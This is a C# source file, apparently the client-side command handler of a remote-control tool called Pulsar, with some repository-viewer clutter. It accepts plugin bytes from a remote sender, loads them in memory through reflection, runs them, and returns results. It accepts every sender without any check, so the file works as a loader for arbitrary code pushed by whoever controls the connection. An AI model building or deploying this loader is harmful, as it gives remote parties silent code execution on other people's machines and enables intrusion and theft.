98 lines
3.0 KiB
C#
98 lines
3.0 KiB
C#
using System;
|
|||
|
|
using System.Reflection;
|
||
|
|
using Pulsar.Common.Messages;
|
||
|
|
using Pulsar.Common.Messages.Other;
|
||
|
|
using Pulsar.Common.Networking;
|
||
|
|
using Pulsar.Client.Plugins;
|
||
|
|
using Pulsar.Common.Plugins;
|
||
|
|
|
||
|
|
namespace Pulsar.Client.Messages
|
||
|
|
{
|
||
|
|
public sealed class CommandHandler : IMessageProcessor
|
||
|
|
{
|
||
|
|
public bool CanExecute(IMessage message) =>
|
||
|
|
message is DoLoadUniversalPlugin ||
|
||
|
|
message is DoExecuteUniversalCommand;
|
||
|
|
public bool CanExecuteFrom(ISender sender) => true;
|
||
|
|
|
||
|
|
public void Execute(ISender sender, IMessage message)
|
||
|
|
{
|
||
|
|
try
|
||
|
|
{
|
||
|
|
switch (message)
|
||
|
|
{
|
||
|
|
case DoLoadUniversalPlugin loadMsg:
|
||
|
|
HandleLoadUniversalPlugin(sender, loadMsg);
|
||
|
|
break;
|
||
|
|
case DoExecuteUniversalCommand execMsg:
|
||
|
|
HandleExecuteUniversalCommand(sender, execMsg);
|
||
|
|
break;
|
||
|
|
}
|
||
|
|
}
|
||
|
|
catch (Exception ex)
|
||
|
|
{
|
||
|
|
sender.Send(new SetStatus { Message = "Command error: " + ex.Message });
|
||
|
|
}
|
||
|
|
}
|
||
|
|
|
||
|
|
private void HandleLoadUniversalPlugin(ISender sender, DoLoadUniversalPlugin msg)
|
||
|
|
{
|
||
|
|
try
|
||
|
|
{
|
||
|
|
var asm = Assembly.Load(msg.PluginBytes);
|
||
|
|
var type = asm.GetType(msg.TypeName, throwOnError: true);
|
||
|
|
var plugin = Activator.CreateInstance(type);
|
||
|
|
var initializeMethod = type.GetMethod("Initialize");
|
||
|
|
initializeMethod.Invoke(plugin, new object[] { msg.InitData });
|
||
|
|
UniversalPluginDispatcher.RegisterPlugin(msg.PluginId, plugin);
|
||
|
|
|
||
|
|
sender.Send(new DoUniversalPluginResponse
|
||
|
|
{
|
||
|
|
PluginId = msg.PluginId,
|
||
|
|
Command = "load",
|
||
|
|
Success = true,
|
||
|
|
Message = $"Plugin {msg.PluginId} loaded successfully"
|
||
|
|
});
|
||
|
|
}
|
||
|
|
catch (Exception ex)
|
||
|
|
{
|
||
|
|
sender.Send(new DoUniversalPluginResponse
|
||
|
|
{
|
||
|
|
PluginId = msg.PluginId,
|
||
|
|
Command = "load",
|
||
|
|
Success = false,
|
||
|
|
Message = ex.Message
|
||
|
|
});
|
||
|
|
}
|
||
|
|
}
|
||
|
|
|
||
|
|
private void HandleExecuteUniversalCommand(ISender sender, DoExecuteUniversalCommand msg)
|
||
|
|
{
|
||
|
|
var result = UniversalPluginDispatcher.ExecuteCommand(msg.PluginId, msg.Command, msg.Parameters);
|
||
|
|
|
||
|
|
var resultType = result.GetType();
|
||
|
|
var successProperty = resultType.GetProperty("Success");
|
||
|
|
var messageProperty = resultType.GetProperty("Message");
|
||
|
|
var dataProperty = resultType.GetProperty("Data");
|
||
|
|
var shouldUnloadProperty = resultType.GetProperty("ShouldUnload");
|
||
|
|
var nextCommandProperty = resultType.GetProperty("NextCommand");
|
||
|
|
|
||
|
|
bool success = successProperty != null ? (bool)successProperty.GetValue(result) : false;
|
||
|
|
string message = messageProperty != null ? (string)messageProperty.GetValue(result) : "Unknown error";
|
||
|
|
byte[] data = dataProperty != null ? (byte[])dataProperty.GetValue(result) : null;
|
||
|
|
bool shouldUnload = shouldUnloadProperty != null ? (bool)shouldUnloadProperty.GetValue(result) : false;
|
||
|
|
string nextCommand = nextCommandProperty != null ? (string)nextCommandProperty.GetValue(result) : null;
|
||
|
|
|
||
|
|
sender.Send(new DoUniversalPluginResponse
|
||
|
|
{
|
||
|
|
PluginId = msg.PluginId,
|
||
|
|
Command = msg.Command,
|
||
|
|
Success = success,
|
||
|
|
Message = message,
|
||
|
|
Data = data,
|
||
|
|
ShouldUnload = shouldUnload,
|
||
|
|
NextCommand = nextCommand
|
||
|
|
});
|
||
|
|
}
|
||
|
|
}
|
||
|
|
}
|